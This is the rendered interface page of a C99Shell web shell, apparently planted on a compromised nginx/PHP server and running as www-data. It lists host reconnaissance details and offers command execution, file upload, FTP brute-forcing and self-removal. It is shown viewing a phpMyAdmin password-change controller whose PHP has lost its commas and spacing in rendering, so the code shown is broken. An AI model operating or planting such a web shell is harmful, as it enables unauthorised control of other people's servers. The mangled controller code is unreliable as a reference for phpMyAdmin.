!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/   drwxr-xr-x
Free 83.31 GB of 96.73 GB (86.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     UserPasswordController.php (3.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers;

use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Html\Generator;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\UserPassword;

/**
 * Displays and handles the form where the user can change their password.
 */
class UserPasswordController extends AbstractController
{
    
/** @var UserPassword */
    
private $userPassword;

    
/** @var DatabaseInterface */
    
private $dbi;

    
/**
     * @param Response          $response
     * @param DatabaseInterface $dbi
     */
    
public function __construct($responseTemplate $templateUserPassword $userPassword$dbi)
    {
        
parent::__construct($response$template);
        
$this->userPassword $userPassword;
        
$this->dbi $dbi;
    }

    public function 
index(): void
    
{
        global 
$cfg$hostname$username$password$change_password_message$msg;

        
$this->addScriptFiles(['server/privileges.js']);

        
/**
         * Displays an error message and exits if the user isn't allowed to use this
         * script
         */
        
if (! $cfg['ShowChgPassword']) {
            
$cfg['ShowChgPassword'] = $this->dbi->selectDb('mysql');
        }
        if (
$cfg['Server']['auth_type'] === 'config' || ! $cfg['ShowChgPassword']) {
            
$this->response->addHTML(Message::error(
                
__('You don\'t have sufficient privileges to be here right now!')
            )->
getDisplay());

            return;
        }

        
/**
         * If the "change password" form has been submitted, checks for valid values
         * and submit the query or logout
         */
        
if (isset($_POST['nopass'])) {
            if (
$_POST['nopass'] == '1') {
                
$password '';
            } else {
                
$password $_POST['pma_pw'];
            }
            
$change_password_message $this->userPassword->setChangePasswordMsg();
            
$msg $change_password_message['msg'];

            if (! 
$change_password_message['error']) {
                
$sql_query $this->userPassword->changePassword($password);

                if (
$this->response->isAjax()) {
                    
$sql_query Generator::getMessage($change_password_message['msg'], $sql_query'success');
                    
$this->response->addJSON('message'$sql_query);

                    return;
                }

                
$this->response->addHTML('<h1>' __('Change password') . '</h1>' "\n\n");
                
$this->response->addHTML(Generator::getMessage($msg$sql_query'success'));
                
$this->render('user_password');

                return;
            }

            if (
$this->response->isAjax()) {
                
$this->response->addJSON('message'$change_password_message['msg']);
                
$this->response->setRequestStatus(false);

                return;
            }
        }

        
/**
         * If the "change password" form hasn't been submitted or the values submitted
         * aren't valid -> displays the form
         */

        // Displays an error message if required
        
if (isset($msg)) {
            
$this->response->addHTML($msg->getDisplay());
        }

        
$this->response->addHTML($this->userPassword->getFormForChangePassword($username$hostname));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0046 ]--